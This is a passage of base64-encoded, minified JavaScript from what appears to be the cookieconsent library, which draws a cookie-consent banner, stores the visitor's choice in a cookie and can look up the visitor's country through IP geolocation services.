nRMaXN0ZW5lcihuLnRyYW5zaXRpb25FbmQsdGhpcy5hZnRlclRyYW5zaXRpb24pLHRoaXMuYWZ0ZXJUcmFuc2l0aW9uPW51bGx9ZnVuY3Rpb24gbSgpe3ZhciBpPXRoaXMub3B0aW9ucy5vbkluaXRpYWxpc2UuYmluZCh0aGlzKTtpZighd2luZG93Lm5hdmlnYXRvci5jb29raWVFbmFibGVkKXJldHVybiBpKG4uc3RhdHVzLmRlbnkpLCEwO2lmKHdpbmRvdy5Db29raWVzT0t8fHdpbmRvdy5uYXZpZ2F0b3IuQ29va2llc09LKXJldHVybiBpKG4uc3RhdHVzLmFsbG93KSwhMDt2YXIgYT1PYmplY3Qua2V5cyhuLnN0YXR1cyksdT10aGlzLmdldFN0YXR1cygpLHA9YS5pbmRleE9mKHUpPj0wO3JldHVybiBwJiZpKHUpLHB9ZnVuY3Rpb24gcigpe3ZhciBpPXRoaXMub3B0aW9ucy5wb3NpdGlvbi5zcGxpdCgiLSIpLGE9W107cmV0dXJuIGkuZm9yRWFjaCgoZnVuY3Rpb24odSl7YS5wdXNoKCJjYy0iK3UpfSkpLGF9ZnVuY3Rpb24gYygpe3ZhciBpPXRoaXMub3B0aW9ucyxhPWkucG9zaXRpb249PSJ0b3AifHxpLnBvc2l0aW9uPT0iYm90dG9tIj8iYmFubmVyIjoiZmxvYXRpbmciO28uaXNNb2JpbGUoKSYmKGE9ImZsb2F0aW5nIik7dmFyIHU9WyJjYy0iK2EsImNjLXR5cGUtIitpLnR5cGUsImNjLXRoZW1lLSIraS50aGVtZV07cmV0dXJuIGkuc3RhdGljJiZ1LnB1c2goImNjLXN0YXRpYyIpLHUucHVzaC5hcHBseSh1LHIuY2FsbCh0aGlzKSksQy5jYWxsKHRoaXMsdGhpcy5vcHRpb25zLnBhbGV0dGUpLHRoaXMuY3VzdG9tU3R5bGVTZWxlY3RvciYmdS5wdXNoKHRoaXMuY3VzdG9tU3R5bGVTZWxlY3RvciksdX1mdW5jdGlvbiBmKCl7dmFyIGk9e30sYT10aGlzLm9wdGlvbnM7YS5zaG93TGlua3x8KGEuZWxlbWVudHMubGluaz0iIixhLmVsZW1lbnRzLm1lc3NhZ2VsaW5rPWEuZWxlbWVudHMubWVzc2FnZSksT2JqZWN0LmtleXMoYS5lbGVtZW50cykuZm9yRWFjaCgoZnVuY3Rpb24oaCl7aVtoXT1vLmludGVycG9sYXRlU3RyaW5nKGEuZWxlbWVudHNbaF0sKGZ1bmN0aW9uKEUpe3ZhciBiPWEuY29udGVudFtFXTtyZXR1cm4gRSYmdHlwZW9mIGI9PSJzdHJpbmciJiZiLmxlbmd0aD9iOiIifSkpfSkpO3ZhciB1PWEuY29tcGxpYW5jZVthLnR5cGVdO3V8fCh1PWEuY29tcGxpYW5jZS5pbmZvKSxpLmNvbXBsaWFuY2U9by5pbnRlcnBvbGF0ZVN0cmluZyh1LChmdW5jdGlvbihoKXtyZXR1cm4gaVtoXX0pKTt2YXIgcD1hLmxheW91dHNbYS5sYXlvdXRdO3JldHVybiBwfHwocD1hLmxheW91dHMuYmFzaWMpLG8uaW50ZXJwb2xhdGVTdHJpbmcocCwoZnVuY3Rpb24oaCl7cmV0dXJuIGlbaF19KSl9ZnVuY3Rpb24gdyhpKXt2YXIgYT10aGlzLm9wdGlvbnMsdT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxwPWEuY29udGFpbmVyJiZhLmNvbnRhaW5lci5ub2RlVHlwZT09PTE/YS5jb250YWluZXI6ZG9jdW1lbnQuYm9keTt1LmlubmVySFRNTD1pO3ZhciBoPXUuY2hpbGRyZW5bMF07cmV0dXJuIGguc3R5bGUuZGlzcGxheT0ibm9uZSIsby5oYXNDbGFzcyhoLCJjYy13aW5kb3ciKSYmbi5oYXNUcmFuc2l0aW9uJiZvLmFkZENsYXNzKGgsImNjLWludmlzaWJsZSIpLHRoaXMub25CdXR0b25DbGljaz12LmJpbmQodGhpcyksaC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsdGhpcy5vbkJ1dHRvbkNsaWNrKSxhLmF1dG9BdHRhY2gmJihwLmZpcnN0Q2hpbGQ/cC5pbnNlcnRCZWZvcmUoaCxwLmZpcnN0Q2hpbGQpOnAuYXBwZW5kQ2hpbGQoaCkpLGh9ZnVuY3Rpb24gdihpKXt2YXIgYT1vLnRyYXZlcnNlRE9NUGF0aChpLnRhcmdldCwiY2MtYnRuIil8fGkudGFyZ2V0O2lmKG8uaGFzQ2xhc3MoYSwiY2MtYnRuIikpe3ZhciB1PWEuY2xhc3NOYW1lLm1hdGNoKG5ldyBSZWdFeHAoIlxcYmNjLSgiK2Quam9pbigifCIpKyIpXFxiIikpLHA9dSYmdVsxXXx8ITE7cCYmKHRoaXMuc2V0U3RhdHVzKHApLHRoaXMuY2xvc2UoITApKX1vLmhhc0NsYXNzKGEsImNjLWNsb3NlIikmJih0aGlzLnNldFN0YXR1cyhuLnN0YXR1cy5kaXNtaXNzKSx0aGlzLmNsb3NlKCEwKSk7bGV0IGg9aS50YXJnZXQ7Zm9yKDtoJiYhaC5jbGFzc0xpc3QuY29udGFpbnMoImNjLXJldm9rZSIpOyloPWgucGFyZW50RWxlbWVudDtoJiZ0aGlzLnJldm9rZUNob2ljZSgpfWZ1bmN0aW9uIEMoaSl7dmFyIGE9by5oYXNoKEpTT04uc3RyaW5naWZ5KGkpKSx1PSJjYy1jb2xvci1vdmVycmlkZS0iK2EscD1vLmlzUGxhaW5PYmplY3QoaSk7cmV0dXJuIHRoaXMuY3VzdG9tU3R5bGVTZWxlY3Rvcj1wP3U6bnVsbCxwJiYoZnVuY3Rpb24oaCxFLGIpe2lmKG4uY3VzdG9tU3R5bGVzW2hdKXJldHVybiB2b2lkKytuLmN1c3RvbVN0eWxlc1toXS5yZWZlcmVuY2VzO3ZhciBrPXt9LHk9RS5wb3B1cCxnPUUuYnV0dG9uLFM9RS5oaWdobGlnaHQ7eSYmKHkudGV4dD15LnRleHQ/eS50ZXh0Om8uZ2V0Q29udHJhc3QoeS5iYWNrZ3JvdW5kKSx5Lmxpbms9eS5saW5rP3kubGluazp5LnRleHQsa1tiKyIuY2Mtd2luZG93Il09WyJjb2xvcjogIit5LnRleHQsImJhY2tncm91bmQtY29sb3I6ICIreS5iYWNrZ3JvdW5kXSxrWyIuY2MtcmV2b2tlLXRleHQiK2JdPVsiY29sb3I6ICIreS50ZXh0LCJiYWNrZ3JvdW5kLWNvbG9yOiAiK3kuYmFja2dyb3VuZF0sa1tiKyIgLmNjLWxpbmssIitiKyIgLmNjLWxpbms6YWN0aXZlLCIrYisiIC5jYy1saW5rOnZpc2l0ZWQiXT1bImNvbG9yOiAiK3kubGlua10sZyYmKGcudGV4dD1nLnRleHQ/Zy50ZXh0Om8uZ2V0Q29udHJhc3QoZy5iYWNrZ3JvdW5kKSxnLmJvcmRlcj1nLmJvcmRlcj9nLmJvcmRlcjoidHJhbnNwYXJlbnQiLGtbYisiIC5jYy1idG4iXT1bImNvbG9yOiAiK2cudGV4dCwiYm9yZGVyLWNvbG9yOiAiK2cuYm9yZGVyLCJiYWNrZ3JvdW5kLWNvbG9yOiAiK2cuYmFja2dyb3VuZF0sZy5wYWRkaW5nJiZrW2IrIiAuY2MtYnRuIl0ucHVzaCgicGFkZGluZzogIitnLnBhZGRpbmcpLGcuYmFja2dyb3VuZCE9InRyYW5zcGFyZW50IiYmKGtbYisiIC5jYy1idG46aG92ZXIsICIrYisiIC5jYy1idG46Zm9jdXMiXT1bImJhY2tncm91bmQtY29sb3I6ICIrKGcuaG92ZXJ8fE8oZy5iYWNrZ3JvdW5kKSldKSxTPyhTLnRleHQ9Uy50ZXh0P1MudGV4dDpvLmdldENvbnRyYXN0KFMuYmFja2dyb3VuZCksUy5ib3JkZXI9Uy5ib3JkZXI/Uy5ib3JkZXI6InRyYW5zcGFyZW50IixrW2IrIiAuY2MtaGlnaGxpZ2h0IC5jYy1idG46Zmlyc3QtY2hpbGQiXT1bImNvbG9yOiAiK1MudGV4dCwiYm9yZGVyLWNvbG9yOiAiK1MuYm9yZGVyLCJiYWNrZ3JvdW5kLWNvbG9yOiAiK1MuYmFja2dyb3VuZF0pOmtbYisiIC5jYy1oaWdobGlnaHQgLmNjLWJ0bjpmaXJzdC1jaGlsZCJdPVsiY29sb3I6ICIreS50ZXh0XSkpO3ZhciBBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChBKSxuLmN1c3RvbVN0eWxlc1toXT17cmVmZXJlbmNlczoxLGVsZW1lbnQ6QS5zaGVldH07dmFyIFQ9LTE7Zm9yKHZhciB4IGluIGspay5oYXNPd25Qcm9wZXJ0eSh4KSYmQS5zaGVldC5pbnNlcnRSdWxlKHgrInsiK2tbeF0uam9pbigiOyIpKyJ9IiwrK1QpfSkoYSxpLCIuIit1KSxwfWZ1bmN0aW9uIE8oaSl7cmV0dXJuKGk9by5ub3JtYWxpc2VIZXgoaSkpPT0iMDAwMDAwIj8iIzIyMiI6by5nZXRMdW1pbmFuY2UoaSl9ZnVuY3Rpb24gTChpLGEpe2Zvcih2YXIgdT0wLHA9aS5sZW5ndGg7dTxwOysrdSl7dmFyIGg9aVt1XTtpZihoIGluc3RhbmNlb2YgUmVnRXhwJiZoLnRlc3QoYSl8fHR5cGVvZiBoPT0ic3RyaW5nIiYmaC5sZW5ndGgmJmg9PT1hKXJldHVybiEwfXJldHVybiExfWZ1bmN0aW9uIE4oKXt2YXIgaT10aGlzLnNldFN0YXR1cy5iaW5kKHRoaXMpLGE9dGhpcy5jbG9zZS5iaW5kKHRoaXMpLHU9dGhpcy5vcHRpb25zLmRpc21pc3NPblRpbWVvdXQ7dHlwZW9mIHU9PSJudW1iZXIiJiZ1Pj0wJiYodGhpcy5kaXNtaXNzVGltZW91dD13aW5kb3cuc2V0VGltZW91dCgoZnVuY3Rpb24oKXtpKG4uc3RhdHVzLmRpc21pc3MpLGEoITApfSksTWF0aC5mbG9vcih1KSkpO3ZhciBwPXRoaXMub3B0aW9ucy5kaXNtaXNzT25TY3JvbGw7aWYodHlwZW9mIHA9PSJudW1iZXIiJiZwPj0wKXt2YXIgaD1mdW5jdGlvbih5KXt3aW5kb3cucGFnZVlPZmZzZXQ+TWF0aC5mbG9vcihwKSYmKGkobi5zdGF0dXMuZGlzbWlzcyksYSghMCksd2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIoInNjcm9sbCIsaCksdGhpcy5vbldpbmRvd1Njcm9sbD1udWxsKX07dGhpcy5vcHRpb25zLmVuYWJsZWQmJih0aGlzLm9uV2luZG93U2Nyb2xsPWgsd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoInNjcm9sbCIsaCkpfXZhciBFPXRoaXMub3B0aW9ucy5kaXNtaXNzT25XaW5kb3dDbGljayxiPXRoaXMub3B0aW9ucy5pZ25vcmVDbGlja3NGcm9tO2lmKEUpe3ZhciBrPWZ1bmN0aW9uKHkpe2Zvcih2YXIgZz0hMSxTPXkucGF0aC5sZW5ndGgsQT1iLmxlbmd0aCxUPTA7VDxTO1QrKylpZighZylmb3IodmFyIHg9MDt4PEE7eCsrKWd8fChnPW8uaGFzQ2xhc3MoeS5wYXRoW1RdLGJbeF0pKTtnfHwoaShuLnN0YXR1cy5kaXNtaXNzKSxhKCEwKSx3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcigiY2xpY2siLGspLHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCJ0b3VjaGVuZCIsayksdGhpcy5vbldpbmRvd0NsaWNrPW51bGwpfS5iaW5kKHRoaXMpO3RoaXMub3B0aW9ucy5lbmFibGVkJiYodGhpcy5vbldpbmRvd0NsaWNrPWssd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixrKSx3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigidG91Y2hlbmQiLGspKX19ZnVuY3Rpb24gUCgpe2lmKHRoaXMub3B0aW9ucy50eXBlIT0iaW5mbyImJih0aGlzLm9wdGlvbnMucmV2b2thYmxlPSEwKSxvLmlzTW9iaWxlKCkmJih0aGlzLm9wdGlvbnMuYW5pbWF0ZVJldm9rYWJsZT0hMSksdGhpcy5vcHRpb25zLnJldm9rYWJsZSl7dmFyIGk9ci5jYWxsKHRoaXMpO3RoaXMub3B0aW9ucy5hbmltYXRlUmV2b2thYmxlJiZpLnB1c2goImNjLWFuaW1hdGUiKSx0aGlzLmN1c3RvbVN0eWxlU2VsZWN0b3ImJmkucHVzaCh0aGlzLmN1c3RvbVN0eWxlU2VsZWN0b3IpO3ZhciBhPXRoaXMub3B0aW9ucy5yZXZva2VCdG4ucmVwbGFjZSgie3tjbGFzc2VzfX0iLGkuam9pbigiICIpKS5yZXBsYWNlKCJ7e3BvbGljeX19Iix0aGlzLm9wdGlvbnMuY29udGVudC5wb2xpY3kpO3RoaXMucmV2b2tlQnRuPXcuY2FsbCh0aGlzLGEpO3ZhciB1PXRoaXMucmV2b2tlQnRuO2lmKHRoaXMub3B0aW9ucy5hbmltYXRlUmV2b2thYmxlKXt2YXIgcD1vLnRocm90dGxlKChmdW5jdGlvbihoKXt2YXIgRT0hMSxiPXdpbmRvdy5pbm5lckhlaWdodC0yMDtvLmhhc0NsYXNzKHUsImNjLXRvcCIpJiZoLmNsaWVudFk8MjAmJihFPSEwKSxvLmhhc0NsYXNzKHUsImNjLWJvdHRvbSIpJiZoLmNsaWVudFk+YiYmKEU9ITApLEU/by5oYXNDbGFzcyh1LCJjYy1hY3RpdmUiKXx8by5hZGRDbGFzcyh1LCJjYy1hY3RpdmUiKTpvLmhhc0NsYXNzKHUsImNjLWFjdGl2ZSIpJiZvLnJlbW92ZUNsYXNzKHUsImNjLWFjdGl2ZSIpfSksMjAwKTt0aGlzLm9uTW91c2VNb3ZlPXAsd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlbW92ZSIscCl9fX1yZXR1cm4gdC5wcm90b3R5cGUuaW5pdGlhbGlzZT1mdW5jdGlvbihpKXt0aGlzLm9wdGlvbnMmJnRoaXMuZGVzdHJveSgpLG8uZGVlcEV4dGVuZCh0aGlzLm9wdGlvbnM9e30sZSksby5pc1BsYWluT2JqZWN0KGkpJiZvLmRlZXBFeHRlbmQodGhpcy5vcHRpb25zLGkpLG0uY2FsbCh0aGlzKSYmKHRoaXMub3B0aW9ucy5lbmFibGVkPSExKSxMKHRoaXMub3B0aW9ucy5ibGFja2xpc3RQYWdlLGxvY2F0aW9uLnBhdGhuYW1lKSYmKHRoaXMub3B0aW9ucy5lbmFibGVkPSExKSxMKHRoaXMub3B0aW9ucy53aGl0ZWxpc3RQYWdlLGxvY2F0aW9uLnBhdGhuYW1lKSYmKHRoaXMub3B0aW9ucy5lbmFibGVkPSEwKTt2YXIgYT10aGlzLm9wdGlvbnMud2luZG93LnJlcGxhY2UoInt7Y2xhc3Nlc319IixjLmNhbGwodGhpcykuam9pbigiICIpKS5yZXBsYWNlKCJ7e2NoaWxkcmVufX0iLGYuY2FsbCh0aGlzKSksdT10aGlzLm9wdGlvbnMub3ZlcnJpZGVIVE1MO2lmKHR5cGVvZiB1PT0ic3RyaW5nIiYmdS5sZW5ndGgmJihhPXUpLHRoaXMub3B0aW9ucy5zdGF0aWMpe3ZhciBwPXcuY2FsbCh0aGlzLCc8ZGl2IGNsYXNzPSJjYy1ncm93ZXIiPicrYSsiPC9kaXY+Iik7cC5zdHlsZS5kaXNwbGF5PSIiLHRoaXMuZWxlbWVudD1wLmZpcnN0Q2hpbGQsdGhpcy5lbGVtZW50LnN0eWxlLmRpc3BsYXk9Im5vbmUiLG8uYWRkQ2xhc3ModGhpcy5lbGVtZW50LCJjYy1pbnZpc2libGUiKX1lbHNlIHRoaXMuZWxlbWVudD13LmNhbGwodGhpcyxhKTtOLmNhbGwodGhpcyksUC5jYWxsKHRoaXMpLHRoaXMub3B0aW9ucy5hdXRvT3BlbiYmdGhpcy5hdXRvT3BlbigpfSx0LnByb3RvdHlwZS5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5vbkJ1dHRvbkNsaWNrJiZ0aGlzLmVsZW1lbnQmJih0aGlzLmVsZW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcigiY2xpY2siLHRoaXMub25CdXR0b25DbGljayksdGhpcy5vbkJ1dHRvbkNsaWNrPW51bGwpLHRoaXMuZGlzbWlzc1RpbWVvdXQmJihjbGVhclRpbWVvdXQodGhpcy5kaXNtaXNzVGltZW91dCksdGhpcy5kaXNtaXNzVGltZW91dD1udWxsKSx0aGlzLm9uV2luZG93U2Nyb2xsJiYod2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIoInNjcm9sbCIsdGhpcy5vbldpbmRvd1Njcm9sbCksdGhpcy5vbldpbmRvd1Njcm9sbD1udWxsKSx0aGlzLm9uV2luZG93Q2xpY2smJih3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcigiY2xpY2siLHRoaXMub25XaW5kb3dDbGljayksdGhpcy5vbldpbmRvd0NsaWNrPW51bGwpLHRoaXMub25Nb3VzZU1vdmUmJih3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcigibW91c2Vtb3ZlIix0aGlzLm9uTW91c2VNb3ZlKSx0aGlzLm9uTW91c2VNb3ZlPW51bGwpLHRoaXMuZWxlbWVudCYmdGhpcy5lbGVtZW50LnBhcmVudE5vZGUmJnRoaXMuZWxlbWVudC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHRoaXMuZWxlbWVudCksdGhpcy5lbGVtZW50PW51bGwsdGhpcy5yZXZva2VCdG4mJnRoaXMucmV2b2tlQnRuLnBhcmVudE5vZGUmJnRoaXMucmV2b2tlQnRuLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcy5yZXZva2VCdG4pLHRoaXMucmV2b2tlQnRuPW51bGwsKGZ1bmN0aW9uKGkpe2lmKG8uaXNQbGFpbk9iamVjdChpKSl7dmFyIGE9by5oYXNoKEpTT04uc3RyaW5naWZ5KGkpKSx1PW4uY3VzdG9tU3R5bGVzW2FdO2lmKHUmJiEtLXUucmVmZXJlbmNlcyl7dmFyIHA9dS5lbGVtZW50Lm93bmVyTm9kZTtwJiZwLnBhcmVudE5vZGUmJnAucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChwKSxuLmN1c3RvbVN0eWxlc1thXT1udWxsfX19KSh0aGlzLm9wdGlvbnMucGFsZXR0ZSksdGhpcy5vcHRpb25zPW51bGx9LHQucHJvdG90eXBlLm9wZW49ZnVuY3Rpb24oaSl7aWYodGhpcy5lbGVtZW50KXJldHVybiB0aGlzLmlzT3BlbigpfHwobi5oYXNUcmFuc2l0aW9uP3RoaXMuZmFkZUluKCk6dGhpcy5lbGVtZW50LnN0eWxlLmRpc3BsYXk9IiIsdGhpcy5vcHRpb25zLnJldm9rYWJsZSYmdGhpcy50b2dnbGVSZXZva2VCdXR0b24oKSx0aGlzLm9wdGlvbnMub25Qb3B1cE9wZW4uY2FsbCh0aGlzKSksdGhpc30sdC5wcm90b3R5cGUuY2xvc2U9ZnVuY3Rpb24oaSl7aWYodGhpcy5lbGVtZW50KXJldHVybiB0aGlzLmlzT3BlbigpJiYobi5oYXNUcmFuc2l0aW9uP3RoaXMuZmFkZU91dCgpOnRoaXMuZWxlbWVudC5zdHlsZS5kaXNwbGF5PSJub25lIixpJiZ0aGlzLm9wdGlvbnMucmV2b2thYmxlJiZ0aGlzLnRvZ2dsZVJldm9rZUJ1dHRvbighMCksdGhpcy5vcHRpb25zLm9uUG9wdXBDbG9zZS5jYWxsKHRoaXMpKSx0aGlzfSx0LnByb3RvdHlwZS5mYWRlSW49ZnVuY3Rpb24oKXt2YXIgaT10aGlzLmVsZW1lbnQ7aWYobi5oYXNUcmFuc2l0aW9uJiZpJiYodGhpcy5hZnRlclRyYW5zaXRpb24mJmwuY2FsbCh0aGlzLGkpLG8uaGFzQ2xhc3MoaSwiY2MtaW52aXNpYmxlIikpKXtpZihpLnN0eWxlLmRpc3BsYXk9IiIsdGhpcy5vcHRpb25zLnN0YXRpYyl7dmFyIGE9dGhpcy5lbGVtZW50LmNsaWVudEhlaWdodDt0aGlzLmVsZW1lbnQucGFyZW50Tm9kZS5zdHlsZS5tYXhIZWlnaHQ9YSsicHgifXRoaXMub3BlbmluZ1RpbWVvdXQ9c2V0VGltZW91dChzLmJpbmQodGhpcyxpKSwyMCl9fSx0LnByb3RvdHlwZS5mYWRlT3V0PWZ1bmN0aW9uKCl7dmFyIGk9dGhpcy5lbGVtZW50O24uaGFzVHJhbnNpdGlvbiYmaSYmKHRoaXMub3BlbmluZ1RpbWVvdXQmJihjbGVhclRpbWVvdXQodGhpcy5vcGVuaW5nVGltZW91dCkscy5iaW5kKHRoaXMsaSkpLG8uaGFzQ2xhc3MoaSwiY2MtaW52aXNpYmxlIil8fCh0aGlzLm9wdGlvbnMuc3RhdGljJiYodGhpcy5lbGVtZW50LnBhcmVudE5vZGUuc3R5bGUubWF4SGVpZ2h0PSIiKSx0aGlzLmFmdGVyVHJhbnNpdGlvbj1sLmJpbmQodGhpcyxpKSxpLmFkZEV2ZW50TGlzdGVuZXIobi50cmFuc2l0aW9uRW5kLHRoaXMuYWZ0ZXJUcmFuc2l0aW9uKSxvLmFkZENsYXNzKGksImNjLWludmlzaWJsZSIpKSl9LHQucHJvdG90eXBlLmlzT3Blbj1mdW5jdGlvbigpe3JldHVybiB0aGlzLmVsZW1lbnQmJnRoaXMuZWxlbWVudC5zdHlsZS5kaXNwbGF5PT0iIiYmKCFuLmhhc1RyYW5zaXRpb258fCFvLmhhc0NsYXNzKHRoaXMuZWxlbWVudCwiY2MtaW52aXNpYmxlIikpfSx0LnByb3RvdHlwZS50b2dnbGVSZXZva2VCdXR0b249ZnVuY3Rpb24oaSl7dGhpcy5yZXZva2VCdG4mJih0aGlzLnJldm9rZUJ0bi5zdHlsZS5kaXNwbGF5PWk/IiI6Im5vbmUiKX0sdC5wcm90b3R5cGUucmV2b2tlQ2hvaWNlPWZ1bmN0aW9uKGkpe3RoaXMub3B0aW9ucy5lbmFibGVkPSEwLHRoaXMuY2xlYXJTdGF0dXMoKSx0aGlzLm9wdGlvbnMub25SZXZva2VDaG9pY2UuY2FsbCh0aGlzKSxpfHx0aGlzLmF1dG9PcGVuKCl9LHQucHJvdG90eXBlLmhhc0Fuc3dlcmVkPWZ1bmN0aW9uKGkpe3JldHVybiBPYmplY3Qua2V5cyhuLnN0YXR1cykuaW5kZXhPZih0aGlzLmdldFN0YXR1cygpKT49MH0sdC5wcm90b3R5cGUuaGFzQ29uc2VudGVkPWZ1bmN0aW9uKGkpe3ZhciBhPXRoaXMuZ2V0U3RhdHVzKCk7cmV0dXJuIGE9PW4uc3RhdHVzLmFsbG93fHxhPT1uLnN0YXR1cy5kaXNtaXNzfSx0LnByb3RvdHlwZS5hdXRvT3Blbj1mdW5jdGlvbihpKXshdGhpcy5oYXNBbnN3ZXJlZCgpJiZ0aGlzLm9wdGlvbnMuZW5hYmxlZD90aGlzLm9wZW4oKTp0aGlzLmhhc0Fuc3dlcmVkKCkmJnRoaXMub3B0aW9ucy5yZXZva2FibGUmJnRoaXMudG9nZ2xlUmV2b2tlQnV0dG9uKCEwKX0sdC5wcm90b3R5cGUuc2V0U3RhdHVzPWZ1bmN0aW9uKGkpe3ZhciBhPXRoaXMub3B0aW9ucy5jb29raWUsdT1vLmdldENvb2tpZShhLm5hbWUpLHA9T2JqZWN0LmtleXMobi5zdGF0dXMpLmluZGV4T2YodSk+PTA7T2JqZWN0LmtleXMobi5zdGF0dXMpLmluZGV4T2YoaSk+PTA/KG8uc2V0Q29va2llKGEubmFtZSxpLGEuZXhwaXJ5RGF5cyxhLmRvbWFpbixhLnBhdGgsYS5zZWN1cmUpLHRoaXMub3B0aW9ucy5vblN0YXR1c0NoYW5nZS5jYWxsKHRoaXMsaSxwKSk6dGhpcy5jbGVhclN0YXR1cygpfSx0LnByb3RvdHlwZS5nZXRTdGF0dXM9ZnVuY3Rpb24oKXtyZXR1cm4gby5nZXRDb29raWUodGhpcy5vcHRpb25zLmNvb2tpZS5uYW1lKX0sdC5wcm90b3R5cGUuY2xlYXJTdGF0dXM9ZnVuY3Rpb24oKXt2YXIgaT10aGlzLm9wdGlvbnMuY29va2llO28uc2V0Q29va2llKGkubmFtZSwiIiwtMSxpLmRvbWFpbixpLnBhdGgpfSx0fSkoKSxuLkxvY2F0aW9uPShmdW5jdGlvbigpe3ZhciBlPXt0aW1lb3V0OjVlMyxzZXJ2aWNlczpbImlwaW5mbyJdLHNlcnZpY2VEZWZpbml0aW9uczp7aXBpbmZvOmZ1bmN0aW9uKCl7cmV0dXJue3VybDoiLy9pcGluZm8uaW8iLGhlYWRlcnM6WyJBY2NlcHQ6IGFwcGxpY2F0aW9uL2pzb24iXSxjYWxsYmFjazpmdW5jdGlvbihyLGMpe3RyeXt2YXIgZj1KU09OLnBhcnNlKGMpO3JldHVybiBmLmVycm9yP20oZik6e2NvZGU6Zi5jb3VudHJ5fX1jYXRjaCh3KXtyZXR1cm4gbSh7ZXJyb3I6IkludmFsaWQgcmVzcG9uc2UgKCIrdysiKSJ9KX19fX0saXBpbmZvZGI6ZnVuY3Rpb24ocil7cmV0dXJue3VybDoiLy9hcGkuaXBpbmZvZGIuY29tL3YzL2lwLWNvdW50cnkvP2tleT17YXBpX2tleX0mZm9ybWF0PWpzb24mY2FsbGJhY2s9e2NhbGxiYWNrfSIsaXNTY3JpcHQ6ITAsY2FsbGJhY2s6ZnVuY3Rpb24oYyxmKXt0cnl7dmFyIHc9SlNPTi5wYXJzZShmKTtyZXR1cm4gdy5zdGF0dXNDb2RlPT0iRVJST1IiP20oe2Vycm9yOncuc3RhdHVzTWVzc2FnZX0pOntjb2RlOncuY291bnRyeUNvZGV9fWNhdGNoKHYpe3JldHVybiBtKHtlcnJvcjoiSW52YWxpZCByZXNwb25zZSAoIit2KyIpIn0pfX19fSxtYXhtaW5kOmZ1bmN0aW9uKCl7cmV0dXJue3VybDoiLy9qcy5tYXhtaW5kLmNvbS9qcy9hcGlzL2dlb2lwMi92Mi4xL2dlb2lwMi5qcyIsaXNTY3JpcHQ6ITAsY2FsbGJhY2s6ZnVuY3Rpb24ocil7d2luZG93Lmdlb2lwMj9nZW9pcDIuY291bnRyeSgoZnVuY3Rpb24oYyl7dHJ5e3Ioe2NvZGU6Yy5jb3VudHJ5Lmlzb19jb2RlfSl9Y2F0Y2goZil7cihtKGYpKX19KSwoZnVuY3Rpb24oYyl7cihtKGMpKX0pKTpyKG5ldyBFcnJvcigiVW5leHBlY3RlZCByZXNwb25zZSBmb3JtYXQuIFRoZSBkb3dubG9hZGVkIHNjcmlwdCBzaG91bGQgaGF2ZSBleHBvcnRlZCBgZ2VvaXAyYCB0byB0aGUgZ2xvYmFsIHNjb3BlIikpfX19fX07ZnVuY3Rpb24gdChyKXtvLmRlZXBFeHRlbmQodGhpcy5vcHRpb25zPXt9LGUpLG8uaXNQbGFpbk9iamVjdChyKSYmby5kZWVwRXh0ZW5kKHRoaXMub3B0aW9ucyxyKSx0aGlzLmN1cnJlbnRTZXJ2aWNlSW5kZXg9LTF9ZnVuY3Rpb24gcyhyLGMsZil7dmFyIHcsdj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTt2LnR5cGU9InRleHQvIisoci50eXBlfHwiamF2YXNjcmlwdCIpLHYuc3JjPXIuc3JjfHxyLHYuYXN5bmM9ITEsdi5vbnJlYWR5c3RhdGVjaGFuZ2U9di5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgQz12LnJlYWR5U3RhdGU7Y2xlYXJUaW1lb3V0KHcpLGMuZG9uZXx8QyYmIS9sb2FkZWR8Y29tcGxldGUvLnRlc3QoQyl8fChjLmRvbmU9ITAsYygpLHYub25yZWFkeXN0YXRlY2hhbmdlPXYub25sb2FkPW51bGwpfSxkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHYpLHc9c2V0VGltZW91dCgoZnVuY3Rpb24oKXtjLmRvbmU9ITAsYygpLHYub25yZWFkeXN0YXRlY2hhbmdlPXYub25sb2FkPW51bGx9KSxmKX1mdW5jdGlvbiBsKHIsYyxmLHcsdil7dmFyIEM9bmV3KHdpbmRvdy5YTUxIdHRwUmVxdWVzdHx8d2luZG93LkFjdGl2ZVhPYmplY3QpKCJNU1hNTDIuWE1MSFRUUC4zLjAiKTtpZihDLm9wZW4odz8iUE9TVCI6IkdFVCIsciwxKSxDLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpLEFycmF5LmlzQXJyYXkodikpZm9yKHZhciBPPTAsTD12Lmxlbmd0aDtPPEw7KytPKXt2YXIgTj12W09dLnNwbGl0KCI6IiwyKTtDLnNldFJlcXVlc3RIZWFkZXIoTlswXS5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIiksTlsxXS5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIikpfXR5cGVvZiBjPT0iZnVuY3Rpb24iJiYoQy5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtDLnJlYWR5U3RhdGU+MyYmYyhDKX0pLEMuc2VuZCh3KX1mdW5jdGlvbiBtKHIpe3JldHVybiBuZXcgRXJyb3IoIkVycm9yIFsiKyhyLmNvZGV8fCJVTktOT1dOIikrIl06ICIrci5lcnJvcil9cmV0dXJuIHQucHJvdG90eXBlLmdldE5leHRTZXJ2